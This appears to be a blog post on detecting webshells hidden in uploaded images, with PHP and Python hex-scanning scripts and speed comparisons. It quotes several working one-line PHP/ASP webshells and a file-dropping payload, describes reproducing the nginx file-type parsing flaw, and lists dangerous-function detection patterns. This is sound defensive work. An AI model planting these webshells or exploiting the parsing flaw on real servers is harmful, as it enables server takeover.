网站图片挂马检测及PHP与python的图片文件恶意代码检测对比

前言

周一一早网管收到来自阿里云的一堆警告，发现我们维护的一个网站下有数十个被挂马的文件。网管直接关了vsftpd，然后把警告导出邮件给我们。

取出部分大致如下：

服务器IP/名称	木马文件路径	更新时间	木马类型	状态(全部)
...	/path/*144.gif	2017/8/7 5:53	Webshell	待处理
...	/path/*132.jpg	2017/8/7 5:23	Webshell	待处理
...	/path/*156.txt	2017/8/7 5:22	Webshell	待处理
...	/path/*0304.jpg	2017/8/7 5:22	木马文件	待处理

分析

检查vsftpd后发现之前已经配置了只允许我们公司的ip访问的限制。
分析路径后发现，触发警报的文件均为同一路径下。
经过分析代码得出结论，只有通过管理端的上传图片功能或者使用管理端编辑器的图像上传功能才能将图片放入此文件夹内。
而触发木马警报的文件中有90%是交接前的文件（我们在交接时只验证了代码功能而忽视了图片安全性，失策）。

检查

path文件夹下，git内（交接之日收到的文件）的待检查加上FTP上（交接之日之后维护上传的文件）一共有1320个，分散在数个层级不等的文件夹内。
使用Notepad++检查警告中显示的图片文件后发现，木马类型为Webshell或木马文件的图片或文件内含有恶意代码例如：

<%execute(request("a"))%>
<?php eval($_POST['a']);?>
<?fputs(fopen("TNT.PHP","w"),"<?eval($_POST[TNT]);?>")?>
<% @Page Language="Jscript"%>
<%eval(Request.Item["TNT"],"unsafe");%>

使用Notepad++的十六进制模式（需安装插件HEX-Editor）查看

验证

经查询nginx有过由于配置错误导致的文件上传漏洞，详情见Nginx文件类型错误解析漏洞。
正好我的虚拟机上有nginx立刻来试一下。

虚拟机配置	版本
nginx	1.10.1
php	7.2.0-dev

首先用画图随便造个图片
使用Notepad++ Hex-Editor将<?php phpinfo(); ?>插入任意角落。
将此图片传入虚拟机中
在虚拟机中编辑php的php.ini，将;cgi.fix_pathinfo=1打开
运行nginx，查看效果

经过验证可以得出，该nginx的bug是的确存在的。但是根据Nginx文件类型错误解析漏洞一文中描述，将cgi.fix_pathinfo设为0并不能阻止漏洞的发生。
使用扫描读取图片二进制字符的方式，可以预防用户上传该类图片。

过滤

先观察了数个被报警的图片，提取了被挂马图片的共同点，放入Notepad++中

<%a(a)a%>00000
<?a(a)a?>00000
<script0000000
<SCRIPT0000000
script>0000000
SCRIPT>0000000

转成十六进制

由此可以得出彼此对应的十六进制

<	%	(	)	%	>
3c	25	28	29	25	3e

用php递归跑目录并检测二进制文本，随便选了个小一点的文件夹进行尝试。

function osWalk($path,$dirs=[])
{
    if (false != ($handle = opendir ( $path ))) {
        while ( false !== ($file = readdir ( $handle )) ) {
            if ($file != "." && $file != "..") {
                if(is_file($path.'\'.$file))
                    $dirs[]=$path.'\'.$file;
                else
                    $dirs=osWalk($path.'\'.$file,$dirs);
            }
        }
        closedir ( $handle );
    }
    return $dirs;
}
function checkHex($img_path)
{
    if (file_exists($img_path)) {
        $resource = fopen($img_path, 'rb');
        $fileSize = filesize($img_path);
        fseek($resource, 0); //把文件指针移到文件的开头
        $hexCode = bin2hex(fread($resource, $fileSize));
        fclose($resource);
        /* 匹配16进制中 <?php ?>|eval|fputs|fwrite */
        if (preg_match("/(3c3f706870.*?3f3e)|(6576616c)|(6670757473)|(667772697465)/is", $hexCode))
            return true;
        else
            return false;
    } else {
        return false;
    }
}
$scan_start=microtime(true);
$qsFiles=osWalk('e:path_to_image');
$scan_end=microtime(true);
$res=[];
$check_start=microtime(true);
foreach($qsFiles as $qs){
    if (checkHex($qs))
        $res[]=$qs;
}
$check_end=microtime(true);
echo vsprintf('文件总数：%d，中标文件：%d<br>扫码时间：%.2f秒，检测时间：%.2f秒<br>',array(
    count($qsFiles), count($res),
    $scan_end-$scan_start,
    $check_end-$check_start
));
//echo implode('<br>',$res);
#文件总数：1320，中标文件：28
#扫描时间：1.16秒，检测时间：125.50秒

觉得这样查时间有点多，用python也写了一个批量匹配

#!/usr/bin/python  
# -*- coding:utf-8 -*- 
import os,re,time,math;
def check_hex(img_path,p):
    with open(img_path,'rb') as f:
        content=f.read();
        f.close();
    if p.search(content.encode('hex')):
        return True;
    return False;
def main():
    #<?php ?>|eval|fputs|fwrite
    p1=re.compile('(3c3f706870.*?3f3e)|(6576616c)|(6670757473)|(667772697465)');
    scan_start=time.time();
    total_files=0;total_taged=[];
    for parent,dirname,filenames in os.walk(r'E:path_to_image'):
        for file in filenames:
            img_path=parent+os.path.sep+file;
            total_files+=1;
            if check_hex(img_path,p1):
                total_taged.append(img_path);
    scan_end=time.time();
    
    print u'扫描完成！总用时:%.2f秒。
总共扫描文件数: %d，中标文件数: %d。'%((scan_end-scan_start),total_files,len(total_taged));
    #for tag in total_taged:
    #    print tag;
    print 'END';
if __name__=='__main__':
    main();
    
#扫描完成！总用时:97.24秒。
#总共扫描文件数: 1320，中标文件数: 28。

在相同的匹配条件下python的速度比php快22.4%。

PHP与python相同情况下扫描用时对比

接着又换了一批正则试验了一下，PHP和py匹配出的中标文件数差不多，但是用时py优于PHP。
正则组合1：

<?php ?>|<% %>|eval
(3c3f706870.*?3f3e)|(3c25.*?253e)|(6576616c)

语言	中标数	用时(秒)
PHP	956	14.81
python	958	11.58

正则组合2：

<?php ?>|<% %>|eval|exec
(3c3f706870.*?3f3e)|(3c25.*?253e)|(6576616c)|(65786563)

语言	中标数	用时(秒)
PHP	956	18.40
python	958	13.85

正则组合3：

<?php ?>|<% %>|eval|exec|write|put
(3c3f706870.*?3f3e)|(3c25.*?253e)|(6576616c)|(65786563)|(7772697465)|(707574)

语言	中标数	用时(秒)
PHP	961	26.74
python	963	17.90

友情赠送

使用python获取字符串的十六进制比较方便，只需

print 'string'.encode('hex'); #737472696e67

这里放一点图片恶意代码，若有需要请随意使用

图片恶意代码	hex
<?php ?>	3c3f706870.*?3f3e
<? ?>	3c3f.*?3f3e
<\% \%>	3c25.*?253e
exec	65786563
eval	6576616c
system	73797374656d
passthru	061737374687275
fputs	6670757473
fwrite	667772697465

总结

通过这次突发事件，发现了我们在接手新项目的流程里有很大漏洞，比如不会去检测对方发来的图片有没有什么问题。也幸好有这次的事件提了个醒，举一反三赶紧把手里的项目特别是生产服务器使用nginx的先查了个遍，撸掉一大批中标文件。以后若是新接手项目，一定要检查一下图片有没有问题。